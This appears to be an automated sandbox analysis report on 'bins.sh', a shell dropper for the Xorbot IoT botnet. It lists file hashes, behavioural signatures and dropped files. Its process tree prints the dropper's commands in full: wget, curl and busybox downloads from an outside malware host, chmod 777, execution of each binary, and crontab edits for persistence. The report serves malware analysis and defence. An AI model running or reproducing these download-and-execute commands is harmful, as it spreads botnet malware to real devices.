Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09/12/2024, 21:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ca8f80fccdd799237712a1f5294be13b

  • SHA1

    b1b54810c00d598466099dfe52badb33d1f4a8f5

  • SHA256

    c0247f27d9fe7c27c45d1e54ea8b969c46eb15c77021e18712c47b2bbf8c6e55

  • SHA512

    c57c489a43abeaeb41fb484417d061ae9d89134be9ec4c9967391d88380b435cf2f796faffeb49c22031f46257806462fd333dabc35f07919ba405f4409e2b47

  • SSDEEP

    96:YDfjqUYDLSqmQLvDiLFlrHJh8LG20y8qy8iy81a8N8Z8r+kLRpip6pnQkoUvDrUD:lSQistm6RQwscWqm6RQwebo

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1337) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:700
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /bin/chmod
          chmod 777 08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          ./08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm 08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /bin/chmod
            chmod 777 B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • File and Directory Permissions Modification
            PID:738
          • /tmp/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            ./B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • Executes dropped EXE
            PID:739
          • /bin/rm
            rm B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
              PID:741
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:742
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:743
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:793
            • /bin/chmod
              chmod 777 b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              ./b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
                PID:797
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:799
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • File and Directory Permissions Modification
                PID:803
              • /tmp/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                ./Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:837
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:839
                • /bin/chmod
                  chmod 777 GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • File and Directory Permissions Modification
                  PID:840
                • /tmp/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  ./GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:841
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:843
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:844
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:845
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:846
                    • /bin/rm
                      rm GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                      2⤵
                        PID:848
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                        2⤵
                        • System Network Configuration Discovery
                        PID:851

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov

                      Filesize

                      98KB

                      MD5

                      5141342d0df8699fa32a6b066a0c592e

                      SHA1

                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                      SHA256

                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                      SHA512

                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                    • /tmp/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1

                      Filesize

                      177KB

                      MD5

                      786d75a158fe731feca3880f436082c0

                      SHA1

                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                      SHA256

                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                      SHA512

                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                    • /tmp/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe

                      Filesize

                      151KB

                      MD5

                      3c90d5820bddcf7c5d1bd21dfa49d958

                      SHA1

                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                      SHA256

                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                      SHA512

                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                    • /tmp/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9

                      Filesize

                      127KB

                      MD5

                      89077b7bd4bcafca7713be43635c4862

                      SHA1

                      fc02edb8fba29ea8ee99e6157ef8560334530052

                      SHA256

                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                      SHA512

                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                    • /tmp/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9

                      Filesize

                      119KB

                      MD5

                      1b166b95f9cb4b079ef1b9ec8363ddf3

                      SHA1

                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                      SHA256

                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                      SHA512

                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                    • /var/spool/cron/crontabs/tmp.mg5kUn

                      Filesize

                      210B

                      MD5

                      3e96e0c4fcaaaaea87a1b03db5b50217

                      SHA1

                      3e65eabdba18e86ec52c6f71a50696e7e2e07a89

                      SHA256

                      509c7a07973c9765d9cd333a78cb49e4a4e5d03a020a276d6a66f025d92f5d45

                      SHA512

                      07128a3325ba93c019ea868b1b91c06926500585f3a810bad624875f01c575bbe8bced3d297adff3d02825b7fea744695e0cfbcc566fb0f0eb442a090f1b8596